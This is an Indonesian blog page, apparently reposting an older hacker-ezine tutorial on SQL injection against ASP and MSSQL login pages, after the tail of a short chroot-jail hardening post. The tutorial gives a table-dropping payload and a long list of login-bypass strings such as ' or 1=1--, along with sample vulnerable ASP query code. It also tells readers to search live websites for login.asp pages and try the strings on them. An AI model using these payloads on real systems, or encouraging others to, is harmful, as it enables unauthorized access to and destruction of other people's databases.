Edit user yang sudah ada, sebagai Admin, saya percaya, Anda sudah sangat ahli untuk membuat batch script untuk mengcopykan file yang perlu ke dalam chroot-jail (dalam hal ini homedir user) untuk seluruh user.
Testing... apakah berjalan dengan baik.
Jika dalam tahap testing lolos, maka sudah siap untuk online lagi, dengan tambahan sebuah lapis keamanan baru.
Terima kasih, semoga berguna.

from http://zaki.web.ugm.ac.id
posted by rizkhey wahyudi @ 10:25 AM   0 comments
DASAR-DASAR SQL INJECTION 1
*-----------------------------------------------------------*
| DASAR-DASAR SQL INJECTION 1 |
*-----------------------------------------------------------*
* by : the_day ;the_day@echo.or.id *
| Greetz to echo staf : y3dips,moby,comex;sara_zoldick |
* And ALso My Lovely : Melisa *
*-----------------------------------------------------------*


Sebelum membahas tentang sql injection pertama-tama saya akan menerangkan apa itu sql injection dan
kenapa bisa terjadi.
Sebenernya SQL injection terjadi ketika attacker bisa meng insert beberapa SQL statement ke 'query'
dengan cara manipulasi data input ke applikasi tsb.
Diantara DB format seperti PHP + MySQL dan ASP + MSACCESS atau dengan MySql ,
disini gw cuma akan membahas tentang ASP+MsSql yang udah dicoba pada IIS 5 dan
beberapa sql injection pada url.
Biasa Sql Injection dilakukan pada login page pada asp seperti di :
admin\login.asp
login.asp
Jadi yang akan menjadi target itu page tersebut ,
sekarang kita mulai aja dengan dasar-dasar sql injection :d.
Biasanya di sql statment
select id, user_name, password from user
maksudnya perintah diatas menghasilkan data id,user_name dan password pada table user.
Bisanya pada login page dengan mengunakan statment result setnya sebagai berikut :
select id, user_name,password from user where name = 'echo' and password='password'
Pada IIS dan ASP apabila terdapat kesalahan sintax script akan diberi tau dan ditampilkan di browser
Server: Msg 170, Level 15, State 1, Line 1 Line 1: Incorrect syntax near 'jopi' SQL atau "Structured Query Language"
seharusnya tidak menyentuh system calls. Tetapi tidak dengan MSSQL.
Nah, ga tau kenapa karakter single quote 'breaks out'
dari delimiter nya SQL Jadi kalau misal ada inputan
User: echo';drop table user--
dan akibatnya akan fatal , dan artinya adalah kita menghapus table user dan akan kosong deh tuh loginya :D
oh iya '--' merukapan mark nya MSSQL, jadi perintah selanjutnya ga di execute.
Sekarang untuk lebih jelasnya kita secara langsung pada login script seperti
input login + password. Nama field nya 'login' dan 'pass'. dan
SQL nya di asp: var sql = select * from users where username='"+login+"' and password='"+pass"'";
coba kalau ada inputan: login: ';drop table users-- pass: chfn (*wink* negative)

pasti ke drop tuh table users
Aduh pada pusing ya , gini deh cara gampangnya adn kita lupakan yang diatas :P kita langsung praktek aja>
Coba cari disitus-situs yang menggunakan asp dan MsSql sebagai DB nya, lalu cari login.asp atau
admin\login.asp.
Kalau udah dapet masukin nich variable sql nya

user:admin
pass:' or 1=1--

Ingat kita disini hanya coba-coba kali aja dba nya ga pinter :d
atau :
user:' or 1=1--
admin:' or 1=1--

Mas , ga bisa nich gimana ya ?
Inget sekarang rata-rata para admin pada pinter semua , kita cari yg gombol aja deh untuk tes kalau ga lo bisa
buat sendiri script dan tes karena gw udah coba buat sendiri dan berhasil tanpa melakukan paket filter
pada db nya . Untuk test apakah suatu page mempunyai vulnerable , gini caranya :
Kalian pernh melihat pada halaman-halaman ASP,JSP,PHP dan CGI yang didalam addressnya :
http://vivtim/index.asp?id=10
Selain kita test dengan login page diatas tadi , kita test dalam melakukan sedikit tambahan
pada addressnya seperti memasukan : test'1=1--
menjadi http://victim/index.asp?id=test'1=1--
Kita juga bisa juga melakukan xss dengan sql injection ini , coba download source HTML dari page target
lalu kita tamhankan hidden field pada source tersebut sebagai contoh :



Apabila beruntung kita apabila membuka page tersebut tidak perlu memasukan password dan username.
ingat script ini ditamhakna pd script yg sudah kalian download dr target .

Variable ' or 1=1--
Mungkin pada bertanya-tanya kenapa mengunakan variable 'or 1=1-- dan sangat penting.Lihat contoh
pada sebuah web tertulis http://victim/index.asp?category=laptop
Dalam url tesebut category adalah variable name dan komputer adalah masukan untuk variable name tsb .
Kalau ditulis dalam script ASP maka akan menjadi :
v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)
Data yang kita masukan seperti komputer akan masuk ke dalam v_cat variable dan pd sql statment menjadi
SELECT * FROM product WHERE PCategory='laptop'
lalu apa hub dengan 'or 1=1---
coba kalau kita ganti http://victim/index.asp?category=laptop menjadi
http://victim/index.asp?category=laptop'or 1=1--
Kita lihat varible v_cat sekarang menjadi laptop'or 1=1-- lalu dalam SQL query nya menjadi
SELECT * FROM product WHERE PCategory='laptop' or 1=1--'
artinya v_cat mendapatkan masukan berupa varibale laptop atau var 1=1(kosong) yang menyebabkan
Sql Server menjadi bingung dan akan mengeksekusi Select * pada table tsb yang mengakibatkan
kita bisa masuk kedalam db teserbut dan db tsb tdk berfungsi :d. Lalu tanda -- merupakan
mark dari sql untuk ignore semua perintah. Bisa dibayangkan kalau terjadi pada login page
Kita bisa masuk kedalam login page tanpa password dan user name :d.
Kemungkinan-kemungkinan variable lainya :
or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a

Selain masuk kedalam page tersebut kita juga bisa memanfaatkannya untuk remote execution dengan sql Injection
dan untuk artikel akan dimasukan dalam ezine 3 echo.or.id .Semoga artikel ini berguna .

-----------------------------------------------------------------------------------------------------------------------
Sumber Bacca : http://securityfocus.com/articles/SQLinjectionBasicTutorial.php
http://www.securiteam.com/securityreviews
posted by rizkhey wahyudi @ 10:24 AM   0 comments
 
My Menu In Blog's
Previous Post
Archives
Shoutbox

Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Duis ligula lorem, consequat eget, tristique nec, auctor quis, purus. Vivamus ut sem. Fusce aliquam nunc vitae purus.

Links
Powered by

Isnaini Dot Com

BLOGGER